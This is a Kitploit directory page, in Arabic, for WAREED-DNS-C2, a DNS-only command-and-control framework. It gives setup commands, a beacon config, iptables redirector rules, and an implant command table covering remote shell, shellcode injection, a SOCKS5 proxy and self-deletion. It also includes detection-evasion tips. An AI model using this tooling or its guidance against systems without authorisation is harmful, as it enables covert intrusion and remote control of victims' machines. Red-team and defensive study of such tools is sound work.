Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WAREED-DNS-C2 — إطار عمل للقيادة والتحكم (C2) يعمل عبر DNS فقط، مع وكيل لنظام Windows، وتوليد الحمولات، وتنفيذ شل عن بُعد، وحقن شيل كود، ودعم وكيل SOCKS5 للعمليات الخفية. | Kitploit
أدوات/GitHubGitHub/faisal-p27/wareed-dns-c2
توليد الحمولةالتهرب من IDS/IPSما بعد الاستغلالالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

إطار عمل للقيادة والتحكم (C2) يعمل عبر DNS فقط، مع وكيل لنظام Windows، وتوليد الحمولات، وتنفيذ شل عن بُعد، وحقن شيل كود، ودعم وكيل SOCKS5 للعمليات الخفية.

عرض المستودع
12634منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Wareed DNS C2

أدخل وصف الصورة هنا

WAREED هو إطار تحكم وأوامر (C2) يستخدم بروتوكول DNS للاتصالات الآمنة بين الخادم والهدف. صُمم لتقليل التواصل والحد من تبادل البيانات، وهو مصمم ليكون C2 من المرحلة الأولى للبقاء في الأجهزة التي لا تملك وصولاً إلى الإنترنت عبر HTTP/HTTPS، ولكن يُسمح لها باستخدام DNS.

تم التطوير بواسطة: @Fsalabduljabbar

كيف يعمل

أدخل وصف الصورة هنا

لماذا Wareed؟

بينما تدعم العديد من أطر التحكم والأوامر (C2) بروتوكول DNS كبروتوكول نقل، إلا أنها مصممة في الغالب لـ HTTP/HTTPS. غالبًا ما يؤدي نقل هذه الأطر إلى DNS إلى عمليات أبطأ وأقل استقرارًا. ونظرًا للتحديات العديدة مع عدم استقرار هذه الأطر في معاملات DNS، اضطررت إلى إنشاء حل مصمم خصيصًا لـ DNS. والنتيجة هي Wareed—إطار C2 يعمل بـ DNS فقط. هذا التركيز المتخصص يؤدي إلى تشغيل أكثر استقرارًا وكفاءة، مما يجعل Wareed أسرع وأكثر موثوقية مقارنة بأطر C2 التقليدية غير المصممة أساسًا لـ DNS. وهذا يجعل Wareed خيارًا مثاليًا للبيئات التي يُسمح فيها بحركة مرور DNS ولكن يُقيَّد فيها HTTP/HTTPS.

حول

تم تطويره باستخدام ثلاث لغات برمجة:

  1. وكيل Hams بلغة C
  2. خادم Wareed Team بلغة Golang
  3. عميل Ather بواجهة رسومية بلغة C++

شرح الأسماء:

Hams (همس) تعني "whisper" (الهمس) باللغة العربية

Wareed (وريد) تعني "vein" (الوريد) باللغة العربية

Ather (أثر) تعني "trace" (الأثر) باللغة العربية

عرض تجريبي

نص بديل للصورة هنا

المتطلبات الأساسية

  1. اسم نطاق صالح ومسيطر عليه
  2. كالي لينكس 2023+ أو أوبونتو 23+
  3. مُوجّه (redirector) واحد (Ubuntu) للتعامل مع اتصالات DNS (اختياري)

التثبيت

الخطوة 1: استنسخ مستودع Wareed:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

الخطوة 2: شغّل سكربت الإعداد:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

إذا اكتملت عملية الترجمة بنجاح، فسيتم إنشاء ملفين تنفيذيين في نفس الدليل:

  • WareedServer: هذا الملف هو الملف التنفيذي لخادم الفريق
  • Ather: هذا الملف هو الملف التنفيذي للعميل ذي الواجهة الرسومية.

كما سيتحقق من حالة ترجمة الوكيل (Agent). وفي حال نجاحها، يؤكد ذلك أن الوكيل جاهز للنشر والتشغيل، وهو أمر بالغ الأهمية لعمل Wareed C2.

الإعداد

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: معرّف فريد يستخدمه الـ C2.
  • domains: مصفوفة من أسماء النطاقات التي يستخدمها الـ C2 لاتصالات DNS.
  • listener_port: رقم المنفذ الذي يستمع عليه خادم فريق DNS للاتصالات الواردة.
  • sleep: التأخير الأساسي بين طلبات المهام.
  • jitter: نسبة مئوية تضيف عشوائية إلى فترات السكون لإخفاء أنماط الحركة.
  • lookup_delay (disabled): التأخير قبل إجراء بحث DNS لتوزيع استعلامات DNS وتجنب الاكتشاف.
  • **default_dns_server **: خادم DNS المحدد لاستخدامه من قبل الوكيل إذا لم يستجب خادم DNS المحلي.

magic_value: يجب أن يساوي طوله 3.

البنية التحتية لـ DNS

إعداد DNS: لتشغيل Wareed، من الضروري امتلاك اسم نطاق صالح. بعد الحصول على نطاق، يجب إعداد سجلّي DNS للإشارة إلى المُوجّه (Redirector):

  1. سجل A: يجب إعداده للإشارة إلى عنوان IP الخاص بالمُوجّه.
  2. سجل NS: يجب أن يشير إلى سجل A الذي قمت بإنشائه مسبقًا.

مثال

البنية التحتية

إعداد المُوجّه: سيتعامل المُوجّه مع حركة مرور DNS الواردة على المنفذ 53 ويعيد توجيهها إلى خادم الفريق. لتحقيق ذلك، نفّذ أوامر iptables التالية على جهاز المُوجّه (R1):

قبول طلبات DNS:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

يقوم هذا الأمر بتكوين جدار الحماية لقبول حزم UDP الواردة على المنفذ 53، وهو المنفذ القياسي لطلبات DNS.

إعادة توجيه حركة DNS:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

استبدل [TeamServer IP] بعنوان IP الفعلي لخادم فريقك و[teamserver listener port] برقم المنفذ الذي يستمع عليه خادم فريقك. يوجّه هذا الأمر كل حركة المرور الواصلة إلى المنفذ 53 إلى عنوان IP والمنفذ المحددين لخادم الفريق.

أدخل وصف الصورة هنا

تشغيل Wareed

خادم Wareed Team

لتشغيل خادم Wareed Team لأول مرة، تحتاج إلى تحديد ملف الإعداد بالإضافة إلى كلمة مرور العميل والمنفذ الذي سيستمع عليه العميل. استخدم الأمر التالي لتشغيل خادم Wareed Team:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: استبدل هذا العنصر النائب بكلمة المرور التي سيستخدمها العملاء للمصادقة مع الخادم.
  • [Client Port Listener]: استبدل هذا برقم المنفذ الذي سيستمع عليه خادم الفريق للاتصالات الواردة من العميل.
  • [Path to configuration file]: قدّم المسار الكامل لملف الإعداد الأولي. في عمليات التشغيل اللاحقة، سيتم تحميل هذا الإعداد من قاعدة البيانات، ولا حاجة لتحديده مرة أخرى.

عميل Ather بواجهة رسومية

لتشغيل عميل Ather بواجهة رسومية، ببساطة

root@kitploit:~
./Ather

عند تشغيل الأمر، ستظهر نافذة جديدة تحتوي على صفحة تسجيل دخول.

أدخل وصف الصورة هنا

بيانات تسجيل الدخول: في صفحة تسجيل الدخول التي تظهر:

  • اسم المستخدم: أدخل اسم المستخدم.
  • كلمة المرور: أدخل كلمة المرور المقابلة كما تم ضبطها في سطر أوامر خادم الفريق.
  • المنفذ: أدخل رقم المنفذ الذي يستمع عليه خادم الفريق للاتصالات كما تم ضبطه في سطر أوامر خادم الفريق.
  • عنوان IP: أدخل عنوان خادم الفريق.

النافذة الرئيسية لـ Wareed: أدخل وصف الصورة هنا

إنشاء حمولة جديدة

لإنشاء حمولة جديدة باستخدام عميل Ather بواجهة رسومية، اتبع الخطوات التالية:

  1. الانتقال إلى إنشاء الحمولة:

    • افتح عميل الواجهة الرسومية.
    • من شريط القوائم، انتقل إلى Payload > Generate > Windows. سيؤدي تحديد هذا الخيار إلى فتح نافذة جديدة مخصصة لإنشاء الحمولة.

أدخل وصف الصورة هنا

  1. اختيار نوع الحمولة: يتيح Wareed إنشاء نوعين من الحمولات: - EXE: تنسيق ملف تنفيذي، سهل النشر. - DLL: مكتبة ربط ديناميكي يمكن استخدامها بطرق متنوعة. -

خيارات حمولة DLL:

  1. دالة التصدير: تنشئ DLL بوظائف محددة تعمل على تفعيل وظائف الوكيل عند التنفيذ.
  2. الارتباط بالعملية: تنتج DLL بمجرد ارتباطها بعملية ما، تعمل على تفعيل الحمولة فورًا.

الجلسة

بعد إنشاء حمولة جديدة، يتم تسجيل جلسة ضيف جديدة تلقائيًا لدى خادم الفريق. تضمن عملية التسجيل هذه أن هذه الجلسة المحددة فقط هي التي يمكنها الاتصال بخادم الفريق. تستخدم معرّفًا فريدًا و'قيمة سحرية' للمصادقة على الجلسة والسماح بها. تضمن هذه الآلية اتصالًا آمنًا وخاضعًا للتحكم بين الحمولة المنشأة حديثًا وخادم الفريق. أدخل وصف الصورة هنا

تنفيذ الحمولة

بعد تنفيذ الحمولة على جهاز يعمل بنظام Windows، ستبدأ في إنشاء استعلامات DNS للتسجيل لدى خادم الفريق. وتحدث عملية التسجيل هذه في غضون ثوانٍ، وعادةً ما تتضمن إنشاء ما بين 3 إلى 5 استعلامات DNS. أدخل وصف الصورة هنا

التفاعل

للتفاعل مع جلسة، ما عليك سوى النقر بزر الماوس الأيمن على الجلسة المطلوبة واختيار "Interact" من قائمة السياق. سيؤدي هذا الإجراء إلى فتح علامة تبويب جديدة تعرض واجهة طرفية. في هذه الوحدة الطرفية، يمكنك تنفيذ الأوامر أدخل وصف الصورة هنا

الأوامر

ملاحظة: أمر inject مباشر لكنه غالبًا ما يتم اكتشافه بواسطة الضوابط الأمنية. لتعزيز التخفي، يجب عليك تنفيذ تقنية الحقن الخاصة بك. عدّل كود الحقن في Agent/Source/Core/Tasks/Modules/Injection.c. إليك قالب أساسي لتخصيص دالة الحقن:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Add your injection technique here.
	// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
	// and the process ID in [int ProcessID].
 }

تنظيف قاعدة البيانات

لتنظيف قاعدة البيانات، ما عليك سوى تنفيذ الأمر التالي في الطرفية:

root@kitploit:~
./Run clean

إجراءات إضافية

على الرغم من عدم وجود خطط فورية لدي لمواصلة استثمار الوقت في مشروع Wareed، فقد كانت رحلة تعلّم مذهلة واستمتعت بها تمامًا. يسعدني أن أعلن أنني أخطط لإطلاق مشروع رئيسي جديد، THAWD BAS. لمزيد من المعلومات، يرجى زيارة Thawd.io.

إذا كانت لديك مهارات تطوير وترغب في المساهمة في Wareed، فإليك بعض الفرص:

  1. تطوير حمولة Stager باستخدام DNS: هناك مشروع رائع بواسطة @C5pider يوفّر قالب شيل كود يُعد نقطة بداية ممتازة. اطّلع على Stardust على GitHub.
  2. إضافة محمّل COFF وتكامله: يمكن لدمج محمّل COFF (Common Object File Format) في إطار عمل Wareed أن يعزز قدراته بشكل كبير من خلال تمكين التحميل والتنفيذ الديناميكي للوحدات الثنائية، مما يزيد من المرونة التشغيلية. للمطورين الراغبين في تنفيذ هذه الميزة، تقدم موارد مثل Sector7 رؤى قيّمة حول وظائف محمّل COFF، ويوفّر المشروع مفتوح المصدر CoffeeLdr بواسطة @C5pider مثالًا عمليًا للتنفيذ.

شكر خاص

لم يكن بالإمكان إنجاز هذا العمل دون مساهمة العديد من المشاريع مفتوحة المصدر المتميزة:

Havoc بواسطة - @C5pider

DNSStager بواسطة - @mohammadaskar2

Boomerang بواسطة - @NinjaParanoid

Socks5Server بواسطة earthquake

delete-self-poc بواسطة - @LloydLabs

تنزيل الأداة
الأمرالوصفالاستخدامالمثال
helpيعرض رسالة المساعدة لأمر محدد[command]help shell
sleepيضبط التأخير مع الجتر[delay] [jitter]sleep 10 50
shellينفذ أوامر cmd.exe ويعيد الناتج[commands]shell dir c:\windows\system32 (من فضلك لا تفعلها)
injectيحقن شيل كود في عملية بعيدة[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartيبدأ بروكسي SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystopيوقف بروكسي SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomainيضيف نطاق اتصال جديد[domain_name]adddomain example.com
deldomainيحذف نطاق اتصال[domain_name]deldomain example.com
listdomainيعرض جميع نطاقات الاتصال النشطةlistdomain
killينهي العملية الحالية.[yes]kill yes
wipeينهي ويحذف العملية الحالية.[yes]wipe yes
selfdelيحذف العملية الحالية من القرص.[yes]selfdel yes
tasklistيعرض جميع المهام المجدولةtasklist
taskdelيحذف مهمة محددة بواسطة المعرّف[task id]taskdel 123
taskscleanيحذف جميع المهام في قائمة الانتظار[yes]tasksclean yes
clearيمسح شاشة الطرفيةclear